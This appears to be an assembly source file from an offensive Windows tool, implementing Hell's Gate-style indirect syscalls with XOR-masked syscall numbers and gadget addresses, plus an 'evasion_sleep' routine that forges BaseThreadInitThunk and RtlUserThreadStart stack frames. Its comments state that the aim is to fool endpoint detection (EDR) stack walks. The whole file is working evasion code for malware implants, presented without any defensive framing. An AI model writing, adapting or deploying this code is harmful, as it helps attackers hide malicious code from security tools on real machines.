96 lines
3.0 KiB
ArmAsm
96 lines
3.0 KiB
ArmAsm
.intel_syntax noprefix
|
|
|
|
.data
|
|
wSystemCallEnc: .long 0
|
|
qSyscallInsAddressEnc: .quad 0
|
|
qFakeReturnEnc: .quad 0
|
|
wMask: .long 0xDEADBEEF
|
|
qMask: .quad 0xDEADBEEFDEADBEEF
|
|
|
|
// Synthetic frame globals, set by frames.zig init_frames().
|
|
// Frames through kernel32!BaseThreadInitThunk and ntdll!RtlUserThreadStart.
|
|
.global qFakeRtlUserThreadStart
|
|
.global qFakeBaseThreadInitThunk
|
|
.global qRtlUserFrameSize
|
|
.global qBaseThreadFrameSize
|
|
qFakeRtlUserThreadStart: .quad 0
|
|
qFakeBaseThreadInitThunk: .quad 0
|
|
qRtlUserFrameSize: .quad 0
|
|
qBaseThreadFrameSize: .quad 0
|
|
|
|
.text
|
|
.global hells_gate
|
|
.global hell_descent
|
|
|
|
// evasion_sleep trampoline. Pushes synthetic frames through the canonical
|
|
// Windows thread init chain: kernel32!BaseThreadInitThunk → ntdll!RtlUserThreadStart.
|
|
// EDR stack walk sees legitimate thread state, not a gap.
|
|
.global evasion_sleep
|
|
.section .drectve
|
|
.ascii " -export:evasion_sleep"
|
|
.text
|
|
evasion_sleep:
|
|
// Save Go return address. RSP points at it on entry.
|
|
mov r11, [rsp]
|
|
mov r10, rcx // save sleep duration (first arg from Go)
|
|
|
|
// Build BaseThreadInitThunk frame (calls RtlUserThreadStart).
|
|
mov rax, qword ptr [rip + qBaseThreadFrameSize]
|
|
sub rsp, rax
|
|
mov rcx, qword ptr [rip + qFakeRtlUserThreadStart]
|
|
add rcx, 0x14 // offset past BaseThreadInitThunk prologue
|
|
mov [rsp], rcx
|
|
|
|
// Build RtlUserThreadStart frame (chain termination).
|
|
mov rax, qword ptr [rip + qRtlUserFrameSize]
|
|
sub rsp, rax
|
|
mov qword ptr [rsp], 0 // end of chain
|
|
|
|
// Save desync RSP for teardown. Call Zig implementation.
|
|
mov rbp, rsp
|
|
mov rcx, r10 // restore sleep duration
|
|
sub rsp, 0x28 // shadow space + alignment
|
|
call evasion_sleep_inner
|
|
add rsp, 0x28
|
|
|
|
// Restore original stack: rewind through synthetic frames.
|
|
lea rsp, [rbp]
|
|
mov rax, qword ptr [rip + qRtlUserFrameSize]
|
|
add rsp, rax
|
|
mov rax, qword ptr [rip + qBaseThreadFrameSize]
|
|
add rsp, rax
|
|
|
|
// Restore Go return address and return.
|
|
mov [rsp], r11
|
|
ret
|
|
|
|
hells_gate:
|
|
xor ecx, dword ptr [rip + wMask]
|
|
mov dword ptr [rip + wSystemCallEnc], ecx
|
|
xor rdx, qword ptr [rip + qMask]
|
|
mov qword ptr [rip + qSyscallInsAddressEnc], rdx
|
|
mov rax, r8
|
|
xor rax, qword ptr [rip + qMask]
|
|
mov qword ptr [rip + qFakeReturnEnc], rax
|
|
ret
|
|
|
|
// Push standalone ret from ntdll .text before jmp to syscall;ret gadget.
|
|
// The gadget's ret returns there so kernel callstack shows ntdll frames.
|
|
hell_descent:
|
|
mov r10, rcx
|
|
mov eax, dword ptr [rip + wSystemCallEnc]
|
|
xor eax, dword ptr [rip + wMask]
|
|
mov r11, qword ptr [rip + qSyscallInsAddressEnc]
|
|
xor r11, qword ptr [rip + qMask]
|
|
|
|
mov rcx, r9 // save arg4, rcx free after mov r10,rcx
|
|
mov r9, qword ptr [rip + qFakeReturnEnc]
|
|
xor r9, qword ptr [rip + qMask]
|
|
test r9, r9
|
|
jz .Ldone
|
|
push r9
|
|
.Ldone:
|
|
mov r9, rcx // restore arg4
|
|
mov rcx, r10 // restore arg1
|
|
jmp r11
|